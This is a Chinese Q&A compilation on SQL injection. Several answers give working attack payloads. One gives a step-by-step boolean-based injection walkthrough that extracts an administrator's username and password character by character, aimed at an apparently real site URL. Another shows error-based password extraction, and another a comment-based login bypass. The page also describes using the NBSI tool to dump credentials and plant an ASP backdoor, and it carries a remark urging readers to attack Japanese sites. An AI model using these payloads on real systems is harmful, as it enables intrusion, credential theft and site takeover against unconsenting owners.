sql漏洞
『壹』 怎麼找有sql漏洞的網站
你所說的SQL漏洞估計就是上面的人說的注入了. 其實就是利用資料庫和程序之間的縫隙, 程序要鏈接資料庫必須載入驅動,而這個驅動在JAVA裡面是一個類,在.net裡面雖然說是無縫連接,但是出錯的話 也會提示, 我們要利用的就是這個提示,根據這個提示才能找到你所需要的信息.
『貳』 SQL漏洞怎麼用啊要詳細點的!
在地址欄:
and 1=1
查看漏洞是否存在,如果存在就正常返回該頁,如果沒有,則顯示錯誤,繼續假設這個站的資料庫存在一個admin表
在地址欄:
and 0<>(select count(*) from admin)
返回頁正常,假設成立了。
下面來猜猜看一下管理員表裡面有幾個管理員ID:
and 1<(select count(*) from admin)
頁面什麼都沒有。管理員的數量等於或者小於1個
and 1=(select count(*) from admin)
輸入=1沒顯示錯誤,說明此站點只有一個管理員。
下面就是要繼續猜測admin 裡面關於管理員用戶名和密碼的欄位名稱。
and 1=(select count(*) from admin where len(username)>0)
猜解錯誤!不存在 username 這個欄位。只要一直改變括弧裡面的username這個欄位,下面給大家幾個常用的
user,users,member,members,userlist,memberlist,userinfo,admin,manager,用戶,yonghu
用戶名稱欄位猜解完成之後繼續猜解密碼欄位
and 1=(select count(*) from admin where len(password)>0)
password 欄位存在!因為密碼欄位一般都是這個拉,如果不是就試試pass如果還不是就自己想想吧
我們已經知道了管理員表裡面有3個欄位 id,user,password。
id 編號
user 用戶名
password 密碼
下面繼續的就是管理員用戶名和密碼的猜解了。一個一個來,有點麻煩,最好找個猜解機來
先猜出長度!
and 1=(select count(*) from admin where len(user)<10)
user 欄位長度小於10
and 1=(select count(*) from admin where len(user)<5)
user 欄位長度不小於5
慢慢的來,最後猜出長度等於6,請看下面,返回正常就說明猜解正確
and 1=(select count(*) from admin where len(user)=6)
下面猜密碼,
and 1=(select count(*) from admin where len(password)=10)
猜出來密碼10位,不要奇怪,現在網管都有防備的,所以密碼上20位也不太奇怪了
下面該做的就是把他們拆開來一個一個猜字母
and 1=(select count(*) from admin where left(user,1)=a)
返回正常,第一位字母等於a,千萬不要把大寫和小寫給搞錯了哦~~呵呵,如果不a就繼續猜其他的字元落,反正猜到返回正常就算OK了
開始猜解帳號的第二位字元。
and 1=(select count(*) from admin where left(user,2)=ad)
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
工作還沒有完,別忙著跑了,還有10位密碼,呵呵
and 1=(select count(*) from admin where left(password,1)=a)
經過無數次錯誤之後......
http://xyz.hytc.e.cn/new2/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)
結果密碼是administra
看完文章,大家不要照著我的文章做,網路上的東西是變幻無窮的,但是我相信大家的大腦肯定比他變得快,所以希望大家看了這個文章靈活運用!那樣才能達到理想的效果
『叄』 什麼是SQL溢出漏洞
Microsoft SQL Server /2000是一款由Microsoft公司開發的商業性質大型資料庫系統。
SQL Server 2000自帶的資料庫控制台命令行工具(Database Console Commands,DBCCs)實現上存在緩沖區溢出漏洞,遠程攻擊者可能通過此漏洞以SQL進程的許可權在伺服器上執行任意指令。
此漏洞是MS02-038公告提及漏洞(NSFOCUS_ID:3151)的一個變種,可以被已登錄訪問的任意SQL用戶所利用,使其能以SQL進程的許可權在系統上執行任意指令。
『肆』 什麼是SQL漏洞
相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。如這是一個正常的網址http://localhost/lawjia/show.asp?ID=444,將這個網址提交到伺服器後,伺服器將進行類似Select * from 表名 where 欄位="&ID的查詢(ID即客戶端提交的參數,本例是即444),再將查詢結果返回給客戶端,如果這里客戶端故意提交這么一個網址:
http://localhost/lawjia/show.asp?ID=444 and user>0,這時,伺服器運行Select * from 表名 where 欄位=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
·錯誤類型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'sonybb' 轉換為數據類型為 int 的列時發生語法錯誤。
/lawjia/show.asp, 第 47 行
但是別有用心的人從這個出錯信息中,可以獲得以下信息:該站使用MS_SQL資料庫,用ODBC連接,連接帳號名為:sonybb。所謂SQL注入(SQL Injection),就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及伺服器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當某個人知道網站管理員帳號存在表login中,管理員帳號名為admin,他想知道管理員密碼,這里他從客戶端接著提交這樣一個網址:
http://localhost/lawjia/show.asp?ID=444 and (Select password from login where user_name='admin')>0,返回的出錯信息如下:
·錯誤類型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 '!@#*&admin' 轉換為數據類型為 int 的列時發生語法錯誤。
/lawjia/show.asp, 第 47 行
你知道嗎?上面標紅的部分就是管理員帳號admin的密碼!雖然很復雜,讓人看幾遍也記不住的,但它就這樣顯示在你面前了,這時您就可以用這個帳號和密碼接管人家的網站了!這時你可能還會說,如果他不是事先知道管理員帳號存在表login中,而且知道管理員帳號為admin,那他就不可能獲得管理員密碼。你錯了,只要人家願意多花時間嘗試,他將可以獲得資料庫連接帳號許可權內所能獲得的所有信息!具體過程請參看網上的這篇文章:SQL注入漏洞全接觸。
當然這個過程是很煩瑣的而且要花費很多的時間,如果只能以這種手動方式進行SQL注入入侵的話,那麼許多存在SQL注入漏洞的ASP網站會安全很多了,不是漏洞不存在了,而是利用這個漏洞入侵的成本太高了。但是如果利用專門的黑客工具來入侵的話,那情況就大大不同了。手動方式進行SQL注入入侵至少需要半天或一天乃至很多天的時間,而利用專門的工具來入侵就只需要幾分鍾時間了(視網速快慢決定),再利用獲得的管理帳號和密碼,上傳一個從網上下載的ASP後門程序,就輕易獲得整個網站的管理許可權了,甚至整個伺服器的管理許可權。最有名的一種SQL注入入侵工具是NBSI 2.0,現在已經出到2.0版本了,不過,人家正式名稱不叫SQL注入入侵工具,而叫做網站安全漏洞檢測工具。有了這個所謂的檢測工具,使得入侵存在SQL注入漏洞的ASP網站成了小兒科的游戲,那些既不懂ASP又不懂SQL、年紀小小的男性青年常常得以在一天之內入侵十多個ASP網站,他們以此獲得內心的極大滿足。他們似乎也非常講究職業道德,往往並不破壞網站數據和系統,常見的破壞方式大都僅僅是改換掉網站的主頁,留下"善意的警告",如:你的網站存在SQL注入漏洞,請管理員做好防範措施!並聲明"我沒有破壞數據和系統",有的還要借機發布一下他的倡導:"國內網站大家不要入侵,有本事入侵小日本的!",最後,簽上他的鼎鼎大名是必不可少的程序。
如此大的成就多數情況下僅需動動滑鼠就做到了。打開最新版的NBSI 2.0,如圖1所示:輸入地址到A區,注意網址必須是帶傳遞參數的那種,點擊右邊的檢測按鈕,即出來B區信息,顯示當前用戶為sonybb的許可權為PUBLIC,當前庫為lawjia。有點可惜啊,如果是SA許可權的話,就可以跨庫注入了。不過,這個許可權也足夠獲取該網站管理員帳號和密碼了。點C區下的自動猜解按鈕,即出來當前庫lawjia中的各種表,哇,login表中一定是存管理員帳號和密碼的吧?選中它吧,接著點擊D區下的自動猜解按鈕,立即出來login表裡的列名稱,果然是存放用戶名和密碼的啊,太棒了!趕快打上勾,迫不急待的點擊E區下的自動猜解按鈕。激動人心的時刻就要到來啦,只見唰唰地幾下,帳號與密碼全部出來了。剩下的事就是辨別哪一個帳號是管理員了。
『伍』 sql server有哪些 sql注入漏洞
SQL注入,這個很早的事情了,流行於ASP時代,主要是由於前台驗證不夠,後台又沒有過濾不安全字元。
簡單的例子:
分別由NameTxt,PwdTxt接受頁面輸入用戶名和密碼,然後構造如下sql語句:
select * from [User] where userName = '" + NameTxt + "』and userPassword = '" + PwdTxt + "'";
比如你的用戶名為your,我不知道密碼,但是我在"用戶名"處輸入 your '--"
select * from [User] where userName='your '-- 'and userPassword =....
注意"--",會把後邊的sql作為注釋,這就是sql注入。
03-05年比較流行sql注入,也可通過地址注入(使用QueryString傳參數),如果許可權足夠,何以執行update/delete語句。
『陸』 SQL漏洞注入是不是違法
今年十一那天我的資料庫就被sql注入了,把密碼改了,閑的蛋疼,顯擺這點記吧技術,有能力的可以拿鬼子的網站試,別糟蹋自己人。
『柒』 sql注入漏洞如何修復
一、打開domain4.1,在旁註檢測—」當前路徑」中輸入伺服器的域名或IP地址。
『捌』 關於sql注入漏洞的問題
取值時id=後面的全部算作id的值,這樣and 1=1也被傳到sql的參數中
1=1即為true,所以對sql本身沒有影響
1=2即為false,在where條件中添加一個了false條件,所以數據是讀不到的
像and 1=1這種本來不屬於程序設計需要的參數,被惡意添加到了程序里
並且未處理過濾就是漏洞